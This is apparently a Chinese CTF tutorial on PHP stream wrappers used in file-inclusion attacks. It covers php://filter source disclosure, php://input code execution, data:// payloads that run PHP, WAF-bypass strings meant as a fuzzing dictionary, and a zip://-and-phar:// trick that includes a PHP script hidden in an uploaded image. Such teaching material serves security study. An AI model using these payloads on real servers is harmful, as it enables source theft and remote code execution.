php伪协议

前言

PHP伪协议在CTF中经常出现,也经常跟文件包含,文件上传,命令执行等漏洞结合在一起,所以本文章对常见的一些协议进行总结。

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

今天着重研究php://

有两个比较重要的配置在php.ini中,allow_url_fopen
allow_url_include会影响到fopen等等和include等等函数对于伪协
议的支持,而allow_url_include依赖allow_url_fopen,所以
allow_url_fopen不开启的话,allow_url_include也是无法使用的。

php伪协议

php://input

php://input代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。

  • 使用条件:include()、include_once()、file_get_contents()

比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的。

php://output

php://output 是一个只写的数据流,允许你以 printecho 一样的方式写入到输出缓冲区。

php://filter(重点)

这篇文章的关键在于讨论php://filter,事实上,这也是我们常常使用的一个伪协议,在任意文件读取,甚至getshell的时候都有利用的机会。

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用,也就是作为一种过滤器,可以使用在数据流产生的地方。

这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

事实上,在include函数的使用上,经常会造成任意文件读取漏洞,而file_get_contents()file_put_contents()这样函数下,常常会构成getshell等更严重的漏洞。

URL中包含点的常见形式

  • ?file = xxx 或者 ?file = xxx.php

    那么源码中的写法:

    include($file.'php') 或者 include($file)

    这里直接使用伪协议包含:

    ?file=php://filter/read=convert.base64-encode/resource=login

  • ?action = xxx & mode = xxx

    这里形式就是文件夹加上文件名的方法

    http://www.example.com/index.php?action=front&mode=login

    那么源码中的写法:

    include($action.'/'.$mode.'.php');

    那么对于这种情况使用的伪协议包含形式:

    ?action=php://filter/read=convert.base64-encode/resource=./&mode=login

举个例子

题目链接:http://level3.tasteless.en/

题目直接给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file('index.php');
/*
view file: php.ini
so here is my hint: the included php.ini file is part of the configugartion file used on the server the bug was found.
so there will be something in it which enables you to solve this level, wont?

always be UP TO DATE!

hint enough, might just take you seconds to do?!
*/
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!!!

$inc = @$_GET['file'];
@require_once($inc);
?>

用php://input直接就能执行任意代码

绕过waf的方法

在一些ctf中会对一些伪协议的关键词进行过滤,如read、resource等等,下面总结了几条绕过方法,在实战总作为字典来跑。

1
2
3
4
5
6
7
?f=php://filter/convert.base64-encode/resource=login.php(过滤了操作名read)

?f=php://filter/read=convert.base64-encode/resource=1.jpg/resource=./show.php(正则 /resource=*.jpg/i)

?f=data:text/plain,<?php phpinfo()?>

?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

截断包含

截断

这里技巧现在应该是用的比较少了,因为利用截断要满足下面的两个条件:

  • php版本小于5.3.4

  • magic_quotes_gpc为off

./ 截断

点号和路径截断以及./截断,也就是填充大量的./使url长度超过最大值,来达到截断的目的。

具体可以看下面的文章:https://blog.csdn.net/zvall/article/details/8951925

zip协议和phar协议

在实战过程中,若发现存在文件上传但是没有办法直接上传php文件,可以传zip压缩文件,我们就利用这两个协议,将php文件打包成zip文件来包含里面的php脚本。

phar://、zip://,都可以看到在phpinfo中有相应的描述。

例如脚本文件为1.php,打包成1.zip,然后再改名为1.jpg,上传之后包含1.jpg中的php文件即可。

1
2
zip://..(当前脚本的绝对路径).../1.jpg#1.php
phar://...(当前脚本的绝对路径).../1.jpg/1(分割不加后缀名)